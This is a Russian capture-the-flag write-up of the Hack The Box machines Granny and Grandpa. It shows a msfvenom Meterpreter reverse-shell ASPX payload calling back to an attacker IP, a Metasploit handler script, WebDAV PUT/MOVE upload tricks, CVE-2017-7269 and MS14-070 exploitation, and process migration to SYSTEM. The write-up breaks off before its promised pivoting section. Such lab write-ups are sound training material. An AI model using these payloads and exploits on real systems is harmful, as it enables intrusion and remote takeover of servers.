Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Умение пользоваться техникой pivoting — проброса трафика к жертве (и обратно) через промежуточные хосты — жизненно важный скилл для этичного хакера, он пригодится при тестировании на проникновение любой корпоративной сетки. В этой статье мы превратим прохождение двух несложных виртуалок с Hack The Box в полезную шпаргалку по проксированию соединений во время пентеста.
На заре становления Hack The Box как онлайн-площадки для тренировки вайтхетов в списке машин значились две виртуалки: Grandpa (IP: 10.10.10.14
) и Granny (IP: 10.10.10.15
). Обе эти машины нацелены на эксплуатацию уязвимостей WebDAV (набора дополнений для HTTP), и стратегии захвата их root-флагов практически не отличаются друг от друга.
Поэтому, чтобы разнообразить прохождения, мы сначала быстро рассмотрим, как можно взломать каждый из хостов по отдельности, а после этого превратим один из них в шлюз, через который атакуем второй хост.
Первой мы будем проходить виртуалку Granny. Эта машина достаточно проста (рейтинг сложности — 3,4 балла из 10), однако, как по мне, она максимально приближена к случаям из реальной жизни (по крайней мере там, где не следят за обновлениями ПО). Недаром именно такие тачки часто попадаются на сертификации OSCP в лайтовой ценовой категории.
Hack The Box — Granny
Для начала сканируем порты и исследуем найденные сервисы.
Nmap
Сканирование Nmap я провожу в два этапа: поверхностное (только SYN-пакеты, без скриптов) и точечное по найденным портам (с задействованием скриптового движка NSE и определением версий сервисов).
root@kali:~# nmap -n -Pn -oA nmap/granny-initial 10.10.10.15
root@kali:~# cat nmap/granny-initial.nmap
...
Host is up (0.065s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
80/tcp open http
...
Видим только один открытый порт — 80-й, веб. Узнаем, кто там живет.
root@kali:~# nmap -n -Pn -sV -sC -oA nmap/granny-version 10.10.10.15 -p80
root@kali:~# cat nmap/granny-version.nmap
...
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan:
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| WebDAV type: Unknown
| Server Date: Sat, 21 Dec 2019 18:04:11 GMT
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
|_ Server Type: Microsoft-IIS/6.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
...
Итак, что у нас есть? Веб-сервер Microsoft IIS, версия 6.0. Если спросить Google, что он знает об этой ревизии IIS, то он сдаст «мелкомягких» с потрохами: Windows Server 2003.
Узнаем версию Windows по версии веб-сервера IIS
Информации об архитектуре Windows у нас нет, поэтому пока будем считать, что это x86, ибо они были более распространены в свое время. Также скрипт http-webdav-scan.nse
оповестил нас об установленном наборе HTTP-расширений WebDAV. В общем, все намекает на то, что нам суждено отправиться на исследование веба.
Изучим 80-й порт с разных углов: от простого браузера до специальных утилит для работы с WebDAV.
Общие сведения
На главной странице веб-сервера (http://10.10.10.15/
) — заглушка.
http://10.10.10.15:80/
Браузер оказался немногословен, поэтому постараемся расширить список наших знаний о системе заголовками HTTP-хедеров.
root@kali:~# curl -I 10.10.10.15
HTTP/1.1 200 OK
Content-Length: 1433
Content-Type: text/html
Content-Location: http://10.10.10.15/iisstart.htm
Last-Modified: Fri, 21 Feb 2003 15:48:30 GMT
Accept-Ranges: bytes
ETag: "05b3daec0d9c21:348"
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Date: Sat, 21 Dec 2019 21:51:01 GMT
В заголовках ожидаемо присутствует информация о том, что используется ASP.NET. Держи в голове две базовые схемы, когда речь заходит о стеке технологий веб-разработки:
В нашем случае, так как речь идет о Windows, платформа ASP.NET выступает в роли альтернативы PHP. А это значит, что именно этот компонент стека будет средой для создания полезной нагрузки бэкдора, и было бы неплохо найти способ доставки на сервер файлов с расширением asp/aspx.
WebDAV
Надстройки WebDAV привносят дополнительные методы в дефолтный набор HTTP-запросов. Один из них — метод MOVE
, который позволяет перемещать (грубо говоря, переименовывать) файлы на сервере. Идея нашего злодеяния довольно проста: загрузить на веб-сервер легитимный файл и переименовать его в исполняемый, изменив расширение на asp или aspx. Таким образом мы обойдем черный список из типов файлов, которые нельзя было загрузить изначально. Эта уловка стара как мир, а в основе ее лежит небезопасная настройка веб-сервера (OSVDB-397), доверяющая метод PUT
кому угодно.
Для взаимодействия с WebDAV есть несколько удобных инструментов командной строки, которыми мы и воспользуемся.
Сначала исследуем состояние безопасности с помощью davtest
. К сожалению, эта утилита не позволяет указать прокси-сервер, чтобы посмотреть, какие именно запросы были отправлены, поэтому мы пустимся на хитрость: запустим Burp Suite, перейдем на вкладку Proxy → Options и добавим еще один листенер 10.10.10.15:80
на интерфейс loopback.
Настройка дополнительного листенера в Burp Suite
Теперь я могу натравить davtest
на localhost точно так же, как на 10.10.10.15
, и все запросы полетят через проксю Burp.
root@kali:~# davtest -rand evilhacker -url localhost
********************************************************
Testing DAV connection
OPEN SUCCEED: localhost
********************************************************
NOTE Random string for this session: evilhacker
********************************************************
Creating directory
MKCOL FAIL
********************************************************
Sending test files
PUT aspx FAIL
PUT php FAIL
PUT cgi FAIL
PUT jhtml FAIL
PUT html FAIL
PUT asp FAIL
PUT txt FAIL
PUT cfm FAIL
PUT pl FAIL
PUT shtml FAIL
PUT jsp FAIL
********************************************************
Несмотря на то что, по мнению davtest
, все попытки загрузить какой-либо файл на сервер провалились, мы можем открыть историю Burp и посмотреть, что же на самом деле произошло.
История HTTP-запросов Burp Suite
Как видно из скриншота, разные запросы PUT
получили разные ответы веб-сервера:
Последняя ошибка привлекла мое внимание, потому что встречается она не так часто и связана в основном с конфликтами версией загружаемого и существующего на сервере файлов.
«Этой ошибке здесь не место», — подумал я и посмотрел внимательнее на тело запроса загрузки простого текстового файла.
PUT /localhost/davtest_evilhacker.txt HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: close
Host: localhost:80
User-Agent: DAV.pm/v0.49
Content-Length: 19
TXT put via davtest
Вся проблема в том, что davtest
попытался загрузить эти файлы в несуществующий каталог /localhost
. Еще раз открыв историю HTTP, я увидел запрос MKCOL
на создание директории, который также провалился с ошибкой 409. Выглядел он так.
MKCOL /localhost/DavTestDir_evilhacker/ HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: close
Host: localhost:80
User-Agent: DAV.pm/v0.49
Content-Length: 0
Как нетрудно догадаться, проблема заключается в попытке создать вложенный каталог /DavTestDir_evilhacker
внутри несуществующего родителя /localhost
. Не знаю, умеет ли так делать WebDAV в принципе (смотреть спецификацию было лень; может, в комментариях подскажут), но, если попробовать создать одноуровневую директорию /localhost
, она успешно появится, и все встанет на свои места.
Создание каталога /localhost в Burp Suite
Загрузка текстового файла в каталог /localhost в Burp Suite
После этого текстовый файл успешно загрузился, а это означает, что наш план в силе и можно приступать к генерации полезной нагрузки.
Теперь у тебя есть несколько вариантов выбора полезной нагрузки, и все зависит только от конечной цели твоего проникновения в систему.
Конечно, мы выберем последний вариант.
Генерация пейлоада
С помощью msfvenom
создадим бэкдор с полезной нагрузкой Meterpreter для 32-битной версии Windows в формате aspx
.
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -a x86 —platform win LHOST=10.10.14.10 LPORT=31337 -f aspx > meterpreter/m.aspx
Далее я создам скрипт автозапуска слушателя Metasploit, чтобы не вводить команды каждый раз вручную в консоли MSF.
## meterpreter/l.rc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 31337
set ExitOnSession false
exploit -j -z
cadaver
В Kali есть инструмент с жутковатым названием cadaver (то есть «труп») — это консольный WebDAV-клиент, который облегчает взаимодействие с WebDAV из командной строки.
Я скопирую сгенерированный в msfvenom
бэкдор в текстовый файл m.txt
, загружу его на сервер и переименую в m.aspx
в интерактивной сессии cadaver
.
root@kali:~# cp meterpreter/m.aspx m.txt
root@kali:~# cadaver http://10.10.10.15
dav:/> put m.txt
dav:/> move m.txt m.aspx
Загрузка и перемещение бэкдора с помощью cadaver
Теперь можно поднимать слушателя Metasploit и запускать сам файл m.aspx
на сервере (просто обратиться к нему из браузера).
root@kali:~# msfconsole -qr meterpreter/l.rc
Запуск листенера Metasploit и получение сессии Meterpreter
И вот у нас уже есть сессия Meterpreter от имени NT AUTHORITY\NETWORK SERVICE.
Далее дело техники: запустим советчик по локальным уязвимостям и выберем наугад первый попавшийся эксплоит — благо тачка старая и выбор велик.
Поиск доступных локальных эксплоитов (ВМ Granny)
После минутного ожидания 29 уязвимостей были проверены, и семь из них подошли с высокой вероятностью.
Повышение привилегий с помощью MS14-070 (ВМ Granny)
Я выбрал MS14-070 — уязвимость виндового стека TCP/IP. Повышение привилегий с помощью Metasploit заняло считаные секунды, и я получил привилегированный шелл.
Если заспавнить шелл и спросить whoami
, сервер ответит, что ты все еще обладаешь правами не выше NETWORK SERVICE. Происходит это из-за того, что пейлоад Meterpreter все еще инжектирован в первый процесс, который мы заарканили до повышения привилегий. Для того чтобы получить права SYSTEM из оболочки cmd, достаточно мигрировать вредоносный процесс в процесс с соответствующими привилегиями.
Who am I?
Я выбрал cidaemon.exe
с PID 3964
в качестве носителя и подселился к нему.
Миграция в процесс cidaemon.exe (3964)
Теперь права отображаются корректно.
Я спрошу снова: Who am I?
Дело за малым: найти и вытащить хеши (флаги) юзера и администратора. Сделаю я это с помощью Meterpreter — а именно модулей search
и download
.
Получение флагов (ВМ Granny)
Напоследок посмотрим на разрядность ОС.
meterpreter > sysinfo
Computer : GRANNY
OS : Windows .NET Server (5.2 Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Domain : HTB
Logged On Users : 1
Meterpreter : x86/windows
Судя по сведениям sysinfo
, наше предположение о 32-битной природе Windows подтвердилось.
На этом виртуалку Granny считаю пройденной.
Трофей
Переходим к Grandpa.
Эту тачку (рейтинг сложности — 4,5 балла из 10) я пробегу быстрее и не буду так подробно останавливаться на каждом пункте.
Hack The Box — Grandpa
Nmap
Так же в два этапа просканируем Nmap.
root@kali:~# nmap -n -Pn -oA nmap/grandpa-initial 10.10.10.14
root@kali:~# cat nmap/grandpa-initial.nmap
...
Host is up (0.064s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
80/tcp open http
...
Результаты повторяются точь-в-точь.
root@kali:~# nmap -n -Pn -sV -sC -oA nmap/grandpa-version 10.10.10.14 -p80
root@kali:~# cat nmap/grandpa-version.nmap
...
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan:
| Server Type: Microsoft-IIS/6.0
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| WebDAV type: Unknown
| Server Date: Sat, 21 Dec 2019 16:49:20 GMT
|_ Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
...
На главной странице веб-сайта висит такая же заглушка.
http://10.10.10.14:80/
WebDAV
Единственное существенное отличие между двумя тачками, пожалуй, в типах брешей WebDAV. На этой машине доступ к загрузке файлов на сервер с помощью PUT
запрещен для любых типов файлов. Однако, помня о номере версии IIS, я воспользовался нашумевшим в свое время эксплоитом для CVE-2017-7269. Основывается он на ошибке функции ScStoragePathFromUrl
, которая содержит уязвимость переполнения буфера в строке одного из хедеров запроса PROPFIND
(из арсенала WebDAV).
Оригинальный PoC доступен на GitHub, однако я пользовался встроенным модулем Metasploit — iis_webdav_scstoragepathfromurl
.
Эксплуатация переполнения в ScStoragePathFromUrl с помощью Metasploit
После получения сессии Meterpreter ты можешь столкнуться с ошибкой прав доступа. Причины возникновения этого бага схожи с теми, что мы наблюдали в аналогичной ситуации при прохождении Granny: пейлоаду тесно в процессе, в котором он сидит.
Чтобы выйти из этого положения, я снова вызову Process List и мигрирую в тот процесс, который обладает нужными мне полномочиями.
Миграция в процесс w3wp.exe (2408)
Кстати, чтобы узнать, в какой процесс был проведен первичный инжект, можно воспользоваться командой netstat
до миграции и посмотреть список активных сетевых соединений.
C:\windows\system32\inetsrv>netstat -vb
Определение текущего процесса Meterpreter
Эскалация привилегий
Здесь все идентично предыдущей тачке: для повышения привилегий я буду использовать тот же сплоит.
Поиск доступных локальных эксплоитов (ВМ Grandpa)
Для порядка я запустил поиск локальных уязвимостей, и список оказался точно таким же, как и у виртуалки Granny.
Повышение привилегий с помощью MS14-070 (ВМ Grandpa)
Выбрали ms14_070_tcpip_ioctl
, повысили привилегии и получили свою сессию.
Получение флагов (ВМ Grandpa)
Забираем награду, и Grandpa пройден!
Трофей
Ну а теперь, собственно, то, ради чего мы сегодня собрались! Я продемонстрирую некоторые базовые принципы проброса соединений с помощью Metasploit.
Обозначим условия задачи. Дано:
10.10.14.30
), которая имеет прямой доступ к ВМ Granny (IP: 10.10.10.15
).10.10.10.14
).iptables
.Требуется:
Решение…
Источник: xakep.ru
Спасибо